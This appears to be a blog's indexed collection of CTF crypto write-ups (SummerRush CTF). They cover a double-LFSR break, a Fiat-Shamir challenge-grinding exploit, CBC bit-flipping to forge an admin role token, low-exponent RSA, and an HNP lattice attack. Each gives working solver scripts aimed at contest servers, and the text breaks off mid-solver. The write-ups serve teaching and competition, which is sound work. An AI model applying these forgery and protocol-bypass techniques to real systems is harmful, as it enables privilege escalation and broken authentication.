== P print(\u0026#34;success!\u0026#34;) key, iv = derive_key_iv(found_key) aes = AES.new(key, AES.MODE_CBC, iv) pt = aes.decrypt(ct) print(\u0026#34;Decrypted flag:\u0026#34;, pt) FL1TZ{n0t_4LL_th4t_Gl1Tt3rs_15_G0LD}\n","date":"2025-07-17T19:31:16+01:00","image":"https://cs.bitraven.pro/img/banner.png","permalink":"https://cs.bitraven.pro/p/flashing-lights-summerrush-ctf/","title":"Flashing Lights - SummerRush CTF"},{"content":" Click to expand challenge code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 package main import ( \u0026#34;bufio\u0026#34; \u0026#34;crypto/rand\u0026#34; \u0026#34;encoding/hex\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;math/big\u0026#34; \u0026#34;net\u0026#34; \u0026#34;strings\u0026#34; ) const LEN = 31 const MASK = (1 \u0026lt;\u0026lt; LEN) - 1 const FLAG = \u0026#34;FL1TZ{?????????????????????????????}\u0026#34; var taps1 = []int{/*?, ?, ?, ?*/} var taps2 = []int{/*?, ?, ?, ?*/} type LFSR struct { state uint64 taps []int count int } func (l *LFSR) rekey(newseed uint64) { l.state = newseed } func newLFSR(taps []int) *LFSR { seed := genRandSeed() return \u0026amp;LFSR{state: seed, taps: taps} } func (l *LFSR)lfsrStep() uint8 { feedback := uint64(0) if l.count % 420 == 0 { //nice l.rekey(genRandSeed()) } for _, tap := range l.taps { feedback ^= (l.state \u0026gt;\u0026gt; tap) \u0026amp; 1 } l.count++ output := l.state \u0026amp; 1 l.state = ((l.state \u0026gt;\u0026gt; 1) | (feedback \u0026lt;\u0026lt; (LEN - 1))) \u0026amp; MASK return uint8(output) } func genRandSeed() uint64 { max := new(big.Int).Lsh(big.NewInt(1), LEN) newseed, err := rand.Int(rand.Reader, max) if err != nil { log.Fatalf(\u0026#34;Failed to generate random seed: %v\u0026#34;, err) } return newseed.Uint64() } func encrypt(pt []byte, lfsr1 *LFSR, lfsr2 *LFSR) []byte { ct := make([]byte, len(pt)) for i, ptByte := range pt { byteVal := byte(0) for bit := 0; bit \u0026lt; 8; bit++ { b1 := lfsr1.lfsrStep() b2 := lfsr2.lfsrStep() ksb := b1 ^ b2 ptb := (ptByte \u0026gt;\u0026gt; (7 - bit)) \u0026amp; 1 ctb := ptb ^ ksb byteVal |= (ctb \u0026lt;\u0026lt; (7 - bit)) } ct[i]= byteVal } return ct } func sa55enLkarhba(l1, l2 *LFSR) { for i := 0; i \u0026lt; 1337; i++ { l1.lfsrStep() l2.lfsrStep() } } func handleConnection(conn net.Conn) { defer conn.Close() l1 := newLFSR(taps1) l2 := newLFSR(taps2) sa55enLkarhba(l1, l2) conn.Write([]byte(\u0026#34;How far can you go, before cycling back to your beginnings...\\n\u0026gt; \u0026#34;)) reader := bufio.NewReader(conn) hexStr, err := reader.ReadString(\u0026#39;\\n\u0026#39;) if err != nil { log.Printf(\u0026#34;Read error: %v\u0026#34;, err) return } hexStr = strings.TrimSpace(hexStr) cipher, err := hex.DecodeString(hexStr) if err != nil { conn.Write([]byte(\u0026#34;Invalid hex input\\n\u0026#34; + err.Error() + \u0026#34;\\n\u0026#34;)) return } plain := encrypt(append(cipher,[]byte(FLAG)...), l1, l2) conn.Write([]byte(hex.EncodeToString(plain))) conn.Write([]byte(\u0026#34;\\n\u0026#34;)) } func main() { ln, err := net.Listen(\u0026#34;tcp\u0026#34;, \u0026#34;:5012\u0026#34;) if err != nil { log.Fatalf(\u0026#34;Failed to listen: %v\u0026#34;, err) } defer ln.Close() fmt.Println(\u0026#34;Oracle listening on port 5012\u0026#34;) for { conn, err := ln.Accept() if err != nil { log.Printf(\u0026#34;Accept error: %v\u0026#34;, err) continue } go handleConnection(conn) } } This is the only LFSR challenge in the ctf (but not the only prng one). It\u0026rsquo;s also a new concept for many tunisian crypto players, so I wanted to introduce it in a unique way, with a Double LFSR!!\nAnalysis Functionality We need to understand what the challenge server does in the first place:\nIt has 2 internal LFSRs to supply a constant stream of pseudorandom bits Each LFSR starts with a random state, that gets refreshed to a new random one every 420 bits The 2 output bits of the LFSRs are xored before using the resulting bit to encrypt the plaintext At the start, the first 1337 output bits are discarded We can enter an arbitrary length plaintext, and we\u0026rsquo;ll get out plaintext+FLAG xored with the LFSR stream With this intuition, we should know that we have a 420 bit window to \u0026ldquo;break\u0026rdquo; the LFSR state (meaning, we should supply offset+(420-288)bits of plaintext to leave some area for the flag before the next reset)\nThe offset is a stream of random data with length = 1337 % 420 and lenght = 4n, this will align our actual payload close to the start of the next radom reset, giving us the maximum possible number of bits to work with.\nBerlekamp Massey LFSR are a really interesting primitive: They may not look like it, but they translate elegantly into finite field arithmetics where taps can be expressed as as polynomial in $GF(2)$ where $tap_i$ tranlates to a coefficient of $1$ for the $x^i$ monomial of the feedback polynomial.\nThis lets us calculate the expected order of the LFSR aswell as openig the door to all the whacky trick in the realm of finite fields.\nOne of those trick is to translate two interacting LFSR states (with taps $T_1$ and $T_2$) into a single LFSR with taps $T_3$ and order $n_3 \\le n_1 + n_2$ with $n_1$ and $n_2$ being equal to $31$ in this case.\nThe algorithm responsible for collapsing the two LFSRs into one is called the Berlekamp Massey, which spits out a feedback polynomial equivalent to the combined output of the input polynomials.\nTo do so though, we need enough information to reconstruct the states ($n_{bits} \u0026gt; 2n_3$ bits of the keystream to be exact)\nThat comes out to at least 124 bits, which we can recover easily.\nTo my surprise, sagemath already includes a builtin implementation for this algorithm, so it\u0026rsquo;ll be doing the heavy lifting for us!\nSolution Plan Send appropriate length payload of 0 bits Discard the offset and save the ecrypted flag Recover the feedback polynomial Rebuild the LFSR with the new taps Xor the ciphertext with the resulting keystream Solver Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import copy from pwn import * from sage.all import * from sage.matrix.berlekamp_massey import berlekamp_massey L = 62 MASK = (1 \u0026lt;\u0026lt; L) - 1 io = remote(\u0026#34;20.218.234.6\u0026#34;, 1004) payload = b\u0026#34;0\u0026#34; * (86 + 128//4) io.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, payload) t = io.recvline().strip() print(f\u0026#34;Received hex: {t.decode()}\u0026#34;) bb = bytes.fromhex(t.decode()) tb = bb[43:-37] bits = [] G = GF(2) for byte in tb: for i in range(8): bits.append(G((byte \u0026gt;\u0026gt; (7 - i)) \u0026amp; 1)) poly = berlekamp_massey(bits) print(f\u0026#34;Polynomial: {poly}\u0026#34;) coefs = poly.list() print(coefs) coefs.pop(-1) print(coefs) coefs= coefs[::-1] taps = [] for i in range(len(coefs)): if coefs[i]: taps.append(61-i) print(f\u0026#34;Taps: {taps}\u0026#34;) class LFSR: def __init__(self, seed, taps): self.state = copy(seed) self.taps = taps def next(self): newbit = 0 for tap in self.taps: newbit ^= (self.state \u0026gt;\u0026gt; tap) \u0026amp; 1 out = self.state \u0026amp; 1 self.state = ((self.state \u0026gt;\u0026gt; 1) | (newbit \u0026lt;\u0026lt; (L - 1))) \u0026amp; MASK return out def get_bytes(self, n): result = [] for _ in range(n): next_byte = 0 for i in range(8): next_byte |= (self.next() \u0026lt;\u0026lt; (7-i)) result.append(next_byte) return bytes(result) seed = int(\u0026#39;\u0026#39;.join(str(b) for b in bits[:62])[::-1], 2) output = \u0026#34;\u0026#34; lf = LFSR(seed, taps) stream = lf.get_bytes(128*2) print(f\u0026#34;Generated bits: {stream.hex()}\u0026#34;) print(f\u0026#34;Received hex : {tb.hex()}\u0026#34;) rest = bb[43:] print(len(rest)) pt = bytes([b ^ s for b, s in zip(rest, stream)]) print(f\u0026#34;Recovered plaintext: {pt}\u0026#34;) FL1TZ{C4nT_g3t_th3_C1ty_0UT_th3_m4n}\n","date":"2025-07-17T18:48:16+01:00","image":"https://cs.bitraven.pro/img/banner.png","permalink":"https://cs.bitraven.pro/p/end-of-a-beginning-summerrush-ctf/","title":"End of a Beginning - SummerRush CTF"},{"content":" Click to expand challenge code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; Prove you know a satisfying assignment without revealing it—1 take per round, no pain. Protocol (each round): 1) Commit to each bit of your assignment. 2) I\u0026#39;ll challenge you \u0026gt;:) 3) I\u0026#39;ll pen either the full assignment or just the clause bits. 4) Survive all 128 rounds, and I might just give yout the flag. \u0026#34;\u0026#34;\u0026#34; import random import hashlib from Crypto.Util.number import isPrime, long_to_bytes, bytes_to_long import os P = 0xfffffffffffffffffffffffffffffffeffffffffffffffff q = 0xffffffffffffffffffffffff99def836146bc9b1b4d22831 h1 = 0x61a59ed8c6883f7ddfc05e18417627ce6501702d350d0dd5 h2 = 0x9a7b45924acce1f9131607e5c12438f6222a7d15196631e7 comm_params = (P, q, h1, h2) FLAG = os.getenv(\u0026#34;FLAG\u0026#34;, b\u0026#34;FL1TZ{dummy_dum_dum}\u0026#34;) PURPLE = \u0026#34;\\x1b[35m\u0026#34; COLOR_RESET = \u0026#34;\\x1b[0m\u0026#34; def pedersen_commit(message: int, params=comm_params): r = random.randrange(q) C = (pow(h1, message, P) * pow(h2, r, P)) % P return C, r def pedersen_open(C: int, m: int, r: int, params=comm_params) -\u0026gt; bool: return (C * pow(h1, -m, P) * pow(h2, -r, P)) % P == 1 def update_transcript(state: bytes, commitments: list[int], openings: list[tuple[int,int]], masks: list[int]) -\u0026gt; bytes: h = hashlib.sha256() h.update(state) for C in commitments: h.update(C.to_bytes(32,\u0026#39;big\u0026#39;)) for (bit,r), mask in zip(openings, masks): h.update(bytes([bit])) h.update(r.to_bytes(32,\u0026#39;big\u0026#39;)) h.update(bytes([mask])) return h.digest() \u0026#34;\u0026#34;\u0026#34; Here\u0026#39;s a satisfiable formula for testing purposes n = 4 clauses = [ [(1, True), (2, False), (3, True)], [(1, False), (2, True), (4, True)] ] alpha = [True,False,True,True] \u0026#34;\u0026#34;\u0026#34; # But where\u0026#39;s the fun in that? # Here\u0026#39;s the real challenge, even Novacain won\u0026#39;t help you with this one! n = 5 clauses = [ [(1, False), (2, True), (3, False)], [(3, False), (4, True), (5, False)], [(2, True), (4, True), (1, False)], [(2, True), (4, True), (3, False)], ] alpha = [True,False,True,False,True] rounds = 128 def main(): m = len(clauses) print(HEADER) print(\u0026#34;Are you worth calling yourself a hero? We\u0026#39;re about to find out...\u0026#34;) FS_state = b\u0026#34;\u0026#34; for rn in range(rounds): print(f\u0026#34;\\n{PURPLE}[round {rn+1}/{rounds}]{COLOR_RESET}\u0026#34;) print(\u0026#34;Are you committed? PROVE IT:\u0026#34;) A = [] for i in range(n): c = int(input(f\u0026#34;C {i+1} \u0026gt; \u0026#34;)) A.append(c) print(\u0026#34;Lay down your openings:\u0026#34;) openings = [] for i in range(n): bit = int(input(f\u0026#34;bit {i+1} \u0026gt; \u0026#34;)) r = int(input(f\u0026#34;r {i+1} \u0026gt; \u0026#34;)) openings.append((bit, r)) print(\u0026#34;Take off your masks:\u0026#34;) masks = [] for i in range(n): mask= int(input(f\u0026#34;mask {i+1} \u0026gt; \u0026#34;)) masks.append(mask) FS_state = update_transcript(FS_state, A, openings, masks) chal = bytes_to_long(FS_state) \u0026amp; m if chal == 0: for i in range(n): bit, r = openings[i] if not pedersen_open(A[i], bit, r): print(\u0026#34;Commitment break! No flag!\u0026#34;) exit(0) expected = (1 if alpha[i] else 0) ^ masks[i] if bit != expected: print(\u0026#34;Wrong note in the solo! You\u0026#39;re off-key.\u0026#34;) exit(0) else: idx = chal - 1 lits = clauses[idx] sat = False for (var, pol) in lits: bit, r = openings[var-1] if not pedersen_open(A[var-1], bit, r): print(\u0026#34;Commitment break! No flag!\u0026#34;) exit(0) val = bool(bit) ^ bool(masks[var-1]) if (val and pol) or (not val and not pol): sat = True if not sat: print(f\u0026#34;The idiot isn\u0026#39;t always american after all...\u0026#34;) exit(0) print(f\u0026#34;You\u0026#39;re in tune! Round {rn+1} complete.\u0026#34;) print(\u0026#34;Well well well, guess you can find your way in blind alleys.\u0026#34;) print(FLAG) if __name__ == \u0026#39;__main__\u0026#39;: try: main() except Exception as e: print(f\u0026#34;An error occurred: {e}\u0026#34;) exit(1) Now we\u0026rsquo;re getting into intermediate territory. This is the only ZKP challenge in the ctf, and considering that not many ctfs in tunisia incorporate zero knowledge proofs in crypt challenges, I thought that this one might be alien to them, (espceially since I hit them with pedersen commits from the get go xd)\nSurprisingly, a good chunk of players managed to solve it! 15 teams exactly at the time of writing this. Even though some usually used LLMs to solve it, at least they learned something new, and prepare themselves for future ZKP tasks, they won\u0026rsquo;t be this easy x)\nAnalysis NIZK This task is a classic Non Interactive Zero Knowledge protocol NIZK where players are demanded to find a satisfying assignment for the 3-SAT problem, for clauses that are impossible to satisfy!\nThe Zero Knowledge property of this protocol is realize using pedersen commitments, which basically Bind the prover and Hide the underlying committed statement.\nThe security of this operation is fortified by the Discrete Log Problem, meaning that theoretically, it can only be broken if you break DLP (aka: weak curve, small subgroup\u0026hellip; or attack relevant in the realm of DLP)\nUnfortunately for players, h1 and h2 were securely generated (they\u0026rsquo;re derived from the hash of some value, I forgot exactly how), the point is, there is no known log for these two values in $GF(p)$, so this is out of the question.\nThere is another protocol in play here, the one assuring the Non Interactive part of the operation: it\u0026rsquo;s the Fiat Shamir Transformation which derives an appropriate challenge based from a random oracle which in this case is a hash value. This ensures the Soundness property of zero knowledge proofs, but is it implemented correctly here?\nImplementation 1 2 FS_state = update_transcript(FS_state, A, openings, masks) chal = bytes_to_long(FS_state) \u0026amp; m Hmmmmmm, isn\u0026rsquo;t the FS transform supposed to derive a challenge from a random oracle? A hash could be considered as a random oracle under ideal circumstances, but only if it is resistant to Preimage attacks! The derived challenge here is only 2 bits, derived from the commitment of the prover. Those 2 bits are vulnerable to some sort of a preimage attack since it\u0026rsquo;s derived every single round!\nLooking at the two cases (where chal==0 and otherwise):\nChal = 0 1 2 3 4 5 6 7 8 9 10 if chal == 0: for i in range(n): bit, r = openings[i] if not pedersen_open(A[i], bit, r): print(\u0026#34;Commitment break! No flag!\u0026#34;) exit(0) expected = (1 if alpha[i] else 0) ^ masks[i] if bit != expected: print(\u0026#34;Wrong note in the solo! You\u0026#39;re off-key.\u0026#34;) exit(0) In this case, the server only checks if the commitment is sound, which should\u0026rsquo;t be an issue if you correctly implement predersen commit\nChal != 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 idx = chal - 1 lits = clauses[idx] sat = False for (var, pol) in lits: bit, r = openings[var-1] if not pedersen_open(A[var-1], bit, r): print(\u0026#34;Commitment break! No flag!\u0026#34;) exit(0) val = bool(bit) ^ bool(masks[var-1]) if (val and pol) or (not val and not pol): sat = True if not sat: print(f\u0026#34;The idiot isn\u0026#39;t always american after all...\u0026#34;) exit(0) In this case, the server actually checks if the masks we\u0026rsquo;re committing to actually verify a clause, which is literally impossible since they\u0026rsquo;re logically unverifiable: We should avoid this case at all cost!\nSolution Since we now know that we want the challenge to always equal 0, we can compute the FS_STATE locally before sending our commitment to the server, and only send it if the resulting challenge bit it zero!\nWe keep on doing that for 128 rounds and the server will spit out a flag\nSolver Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import hashlib import random from Crypto.Util.number import bytes_to_long from pwn import * from tqdm import trange P = 0xfffffffffffffffffffffffffffffffeffffffffffffffff q = 0xffffffffffffffffffffffff99def836146bc9b1b4d22831 h1 = 0x61a59ed8c6883f7ddfc05e18417627ce6501702d350d0dd5 h2 = 0x9a7b45924acce1f9131607e5c12438f6222a7d15196631e7 comm_params = (P, q, h1, h2) def pedersen_commit(m): r = random.randrange(q) C = (pow(h1, m, P) * pow(h2, r, P)) % P return C, r def pedersen_open(C: int, m: int, r: int, params=comm_params) -\u0026gt; bool: return (C * pow(h1, -m, P) * pow(h2, -r, P)) % P == 1 def update_transcript(FS_state: bytes, commitments: list[int], openings: list[tuple[int,int]], masks: list[int]) -\u0026gt; bytes: h = hashlib.sha256() h.update(FS_state) for C in commitments: h.update(C.to_bytes(32,\u0026#39;big\u0026#39;)) for (bit,r), mask in zip(openings, masks): h.update(bytes([bit])) h.update(r.to_bytes(32,\u0026#39;big\u0026#39;)) h.update(bytes([mask])) return h.digest() def commit_to_masks(masks): commits = [] openings = [] for i in range(len(masks)): C, r = pedersen_commit(masks[i]) commits.append(C) openings.append((masks[i], r)) return commits, openings # --- Known LocalTest formula + assignment: --- n = 5 clauses = [ [(1, False), (2, True), (3, False)], [(3, False), (4, True), (5, False)], [(2, True), (4, True), (1, False)], [(2, True), (4, True), (3, False)], ] alpha = [True,False,True,False,True] m = len(clauses) rounds = 128 FS_state = b\u0026#34;\u0026#34; io = remote(\u0026#34;20.218.234.6\u0026#34;, 1001) for rn in trange(rounds): io.recvuntil(b\u0026#34;PROVE IT:\\n\u0026#34;) while True: Last_state = FS_state masks = [random.choice([0,1]) for i in range(n)] alpha_mask = [(1 if alpha[i] else 0) ^ masks[i] for i in range(n)] commits, openings = commit_to_masks(alpha_mask) Last_state = update_transcript(Last_state, commits, openings, masks) chal = bytes_to_long(Last_state) \u0026amp; m if chal == 0: FS_state = Last_state break pmasks = masks pops = openings for i in range(n): bit, r = pops[i] assert pedersen_open(commits[i], bit, r) expected = (1 if alpha[i] else 0) ^ pmasks[i] assert bit == expected for i in range(n): io.sendlineafter(b\u0026#34; \u0026gt; \u0026#34;, str(commits[i]).encode()) for i in range(n): bit, r = openings[i] io.sendlineafter(b\u0026#34; \u0026gt; \u0026#34;, str(bit).encode()) io.sendlineafter(b\u0026#34; \u0026gt; \u0026#34;, str(r).encode()) for i in range(n): io.sendlineafter(b\u0026#34; \u0026gt; \u0026#34;, str(masks[i]).encode()) io.interactive() FL1TZ{B0ul3v4rD_0f_Br0k3n_C0mM1tm3nts}\n","date":"2025-07-17T18:06:16+01:00","image":"https://cs.bitraven.pro/img/banner.png","permalink":"https://cs.bitraven.pro/p/give-me-novacain-summerrush-ctf/","title":"Give me Novacain - SummerRush CTF"},{"content":" Click to expand challenge code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import os import secrets import sys import time from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad SERVER_KEY = secrets.token_bytes(16) FLAG = os.environ.get(\u0026#34;FLAG\u0026#34;, \u0026#34;FL1TZ{????????????}\u0026#34;) def issue_token(user_id: str) -\u0026gt; bytes: iv = secrets.token_bytes(16) payload = f\u0026#34;uid={user_id}\u0026amp;role=puppet\u0026#34;.encode() cipher = AES.new(SERVER_KEY, AES.MODE_CBC, iv=iv) return iv + cipher.encrypt(pad(payload,16)) def check_token(token: bytes) -\u0026gt; str: iv = token[:16] ct = token[16:] cipher = AES.new(SERVER_KEY, AES.MODE_CBC, iv=iv) pt = cipher.decrypt(ct) print(f\u0026#34;Decrypted token: {pt!r}\u0026#34;) clean = unpad(pt,16).decode(errors=\u0026#34;ignore\u0026#34;) parts = { kv.split(\u0026#34;=\u0026#34;,1)[0]: kv.split(\u0026#34;=\u0026#34;,1)[1] for kv in clean.split(\u0026#34;\u0026amp;\u0026#34;) if \u0026#34;=\u0026#34; in kv } return parts.get(\u0026#34;role\u0026#34;,\u0026#34;\u0026#34;) def main(): guest_id = f\u0026#34;guest{secrets.randbelow(9000000)+1000000}\u0026#34; print(f\u0026#34;— you\u0026#39;re wired in as: {guest_id}\\n\u0026#34;) print(\u0026#34;[1] Present your token\u0026#34;) print(\u0026#34;[2] Get a fresh token\u0026#34;) print(\u0026#34;[3] Whisper to support\u0026#34;) while True: choice = input(\u0026#34;\u0026gt; \u0026#34;).strip() if choice == \u0026#34;1\u0026#34;: hex_tok = input(\u0026#34;Token\u0026gt; \u0026#34;).strip() try: role = check_token(bytes.fromhex(hex_tok)) except Exception: print(\u0026#34;…that doesn\u0026#39;t look like a real token.\\n\u0026#34;) continue if role == \u0026#34;master\u0026#34;: print(FLAG) sys.exit(0) else: print(f\u0026#34;Access denied, you are still role={role}\\n\u0026#34;) elif choice == \u0026#34;2\u0026#34;: tok = issue_token(guest_id) print(\u0026#34;Fresh strings:\u0026#34;, tok.hex(), \u0026#34;\\n\u0026#34;) elif choice == \u0026#34;3\u0026#34;: print(\u0026#34;Support is busy. Please leave a message at support@your.mom\\n\u0026#34;) time.sleep(1) else: print(\u0026#34;Uhhhhh, bye then.\\n\u0026#34;) sys.exit(0) if __name__ == \u0026#34;__main__\u0026#34;: main() This is also a freebie challenge to warm up. A also had to include an AES task (even though I HATE THEM soooo much)\nAnalysis Before doing anything, we need to understand under what condition we\u0026rsquo;re awarded with the flag.\n1 2 3 if role == \u0026#34;master\u0026#34;: print(FLAG) sys.exit(0) So it\u0026rsquo;s pretty obvious that we\u0026rsquo;re gonna recieve the flag if we have the role master in our decrypted token, so we need to somehow swap our current role with master\nSeeing that the AES is in CBC mode, we know that we can substitute a block by just xoring the ^ difference between the current plaintext and the desired one with the corresponding ciphertext block.\nThis mostly works when the value we want to swap in spans a perfect AES block (aka: the start index of the block and its lengths are multiples of the AES.BLOCK_SIZE, which is 16 in this case)\nLuckily for us:\n1 len(\u0026#34;\u0026amp;role=puppet\u0026#34;) == len(\u0026#34;\u0026amp;role=master\u0026#34;) == 16 With that, we can easily format our solution\nSolution The plan is pretty straightforward:\nRecieve a token Split it into blocks Calculate the delta between the current block and desired one Xor the delta with the corresponding ciphertext block (which is the last one) Substitute the new block PROFIT Solver Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * from Crypto.Util.strxor import strxor io = remote(\u0026#34;20.218.234.6\u0026#34;, 1002) io.recv(timeout=1) io.sendline(b\u0026#34;2\u0026#34;) line = io.recvline().strip() hex_tok = line.split(b\u0026#34;: \u0026#34;)[1] token = bytes.fromhex(hex_tok.decode()) iv = token[:16] ct = token[16:] orig_block2 = ct[:16] delta = strxor(b\u0026#34;\u0026amp;role=puppet\u0026#34;, b\u0026#34;\u0026amp;role=master\u0026#34;) new_block2 = strxor( orig_block2[:12] , delta ) + orig_block2[12:] forged = iv + new_block2 + ct[16:] io.sendlineafter(b\u0026#34;\u0026gt; \u0026#34;, b\u0026#34;1\u0026#34;) io.sendlineafter(b\u0026#34;Token\u0026gt; \u0026#34;, forged.hex().encode()) io.interactive() FL1TZ{Str1ngs_4ttAch3d_t1l_I_cut_Th3m_l00se}\n","date":"2025-07-17T17:57:16+01:00","image":"https://cs.bitraven.pro/img/banner.png","permalink":"https://cs.bitraven.pro/p/puppet-summerrush-ctf/","title":"Puppet - SummerRush CTF"},{"content":" Click to expand challenge code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Util.number import getPrime, bytes_to_long flag = \u0026#34;FL1TZ{*********}\u0026#34; p = getPrime(512) q = getPrime(512) n = p * q e = 5 m = bytes_to_long(flag.encode()) c = pow(m, e, n) data = { \u0026#34;n\u0026#34;: n, \u0026#34;e\u0026#34;: e, \u0026#34;c\u0026#34;: c } with open(\u0026#34;computer.json\u0026#34;, \u0026#34;w\u0026#34;) as f: import json json.dump(data, f, indent=4) Since this CTF was destined to be pretty advanced, I didn\u0026rsquo;t want beginner players to leave with 0 solves. So this challenge is a freebie.\nIt\u0026rsquo;s a textbook RSA challenge at the end of the day :)\nSolution Seeing $e=3$ is a pretty obvious indication that you\u0026rsquo;re gonna use a Low exponent Attack\nLow exponent attack If you\u0026rsquo;re unfamiliar with this attack, go play on cryptohack first to get the basics of RSA.\nBut to set the stage, since we know that $c=m^e\\mod n$, if we know that e is relatively small (aka anything below 0x10001), we can safely assume that $c = m + kn$ with $k \\in \\Z$ and that $k$ is relatively small ($k \\lt 2^{16}$).\nThis is a bruteforceable range so what we can do is to just loop around the values in that range until one decrypts our flag correctly.\nto decrypt we just take \\(m=\\sqrt[3]{c+kn}\\) over small values of $k$\nSolver Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from sympy import integer_nthroot from Crypto.Util.number import long_to_bytes data = { \u0026#34;n\u0026#34;: 73539119616387953390739800349162296889929546890090543889993874511622797249196267131045564445773173905414213126551404529575686960651044977944959808993198036611015159472932349483222966379786679562526483302790715340879782393710146767878051963120396764875749481672901593410527395827059347330427901154076729932223, \u0026#34;e\u0026#34;: 5, \u0026#34;c\u0026#34;: 9468915152993094883603033505359730336969579215367867376501348539807899828151112958315663505504751915445454464880699413704160458880583680307083100176804875698702059358758480728617067234170370891821622331498749208246106295081101 } n = data[\u0026#34;n\u0026#34;] e = data[\u0026#34;e\u0026#34;] c = data[\u0026#34;c\u0026#34;] k = 0 while True: m = integer_nthroot(c + k*n, e) k+=1 if not m[1]: continue try: flag = long_to_bytes(m[0]) print(flag.decode()) break except Exception as e: continue FL1TZ{N0_surpr153S}\n","date":"2025-07-17T17:22:16+01:00","image":"https://cs.bitraven.pro/img/banner.png","permalink":"https://cs.bitraven.pro/p/ok-computer-summerrush-ctf/","title":"OK Computer - SummerRush CTF"},{"content":"This challenge was a standard Hidden Number Problem dressed up in fantasy cosplay. The objective was clear: uncover a hidden value $\\alpha$ using Babai's CVP algorithm\nChallenge Overview The challenge spins up a remote service that hands out:\np: A 256-bit prime modulus. n: The bit length of p, which is 256. k: The number of bits to be leaked, calculated as int(n**0.5) + n.bit_length() + 1, which comes out to 26. d: The maximum number of queries we can make, 2 * int(n**0.5) + 3, giving us 35 attempts. Then we have the entry point: Query MSB oracle. For each query, the server:\nGenerates a random $t$. Computes $x = (\\alpha * t)\\mod p$, where $\\alpha$ is the secret we\u0026rsquo;re after. Returns $t$ and a value $z$, which is an approximation of $x$. Finally, an AES-CBC–encrypted flag, with the key derived as $\\text{SHA256}(\\alpha)$. All we have to do is to recover the secret $\\alpha$ from the oracle leaks, derive the AES key, and decrypt the flag. Easy, right?\nAttack Vector ;) 1. Collecting the Noisy Leaks We scripted a quick loop to:\nSend option 1 repeatedly until we exhausted the max queries $d$.\nRetrieve $t_i$ and $z_i$ ans store them in arrays for later.\nTip: Whenever you\u0026rsquo;re given the source code of a challenge, ALWAYS run it locally before interacting with the remote. This lets you add logging and monitor exactly what\u0026rsquo;s going on so the challenge doesn\u0026rsquo;t feel as black-boxy\n2. Modeling as a Hidden Number Problem This is textbook Howgrave-Graham–Naehrig territory. We have:\n$$ \\alpha \\cdot t_i \\equiv z_i \\pm \\varepsilon_i \\pmod p, $$where each error $\\varepsilon_i$ is bounded by $p / 2^{k+1}$. The goal: recover $\\alpha$ from these noisy modular equations.\nFor those of you who\u0026rsquo;re unfamiliar with HNP, it is an application of lattice reduction, where the goal is to construct a lattice and reduce it (via LLL or BKZ) so that one of the short vectors reveals a relatively small value that we\u0026rsquo;re looking for, in this case, it\u0026rsquo;s $\\alpha$\n3. Lattice Construction \u0026amp; Babai’s Closest Vector Let\u0026rsquo;s build our lattice. For $d$ samples $(t_i, z_i)$, we can construct the following basis matrix $M$ of dimension $(d+1)\\times(d+1)$:\n$$ M=\\begin{bmatrix} p \u0026 0 \u0026 \\cdots \u0026 0 \u0026 0 \\\\ 0 \u0026 p \u0026 \\cdots \u0026 0 \u0026 0 \\\\ \\vdots \u0026 \\vdots \u0026 \\ddots \u0026 \\vdots \u0026 \\vdots \\\\ 0 \u0026 0 \u0026 \\cdots \u0026 p \u0026 0 \\\\ t_1 \u0026 t_2 \u0026 \\cdots \u0026 t_d \u0026 C \\end{bmatrix} $$Concretely:\n1 2 3 4 5 6 7 from sage.all import Matrix, vector, RationalField M = Matrix(RationalField(), d+1, d+1) for i in range(d): M[i, i] = p M[d, i] = t[i] M[d, d] = 1 / (2**(k+1)) Then we feed $M$ to LLL (with $\\delta=0.75$, default value) and apply Babai’s nearest plane to find the shortest vector closest to $[z_1, \\dots, z_d, 0]$. We let the algorithm do its magic, and we\u0026rsquo;ll find that the last coordinate of that vector (scaled back by $2^{k+1}$) yields $\\alpha$.\n4. Decrypting the Flag With $\\alpha$ in hand, derive the AES key:\n1 2 3 4 5 from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad aes_key = sha256(str(alpha).encode()).digest() Then unwrap the CBC cipher to retrieve the flag:\n1 2 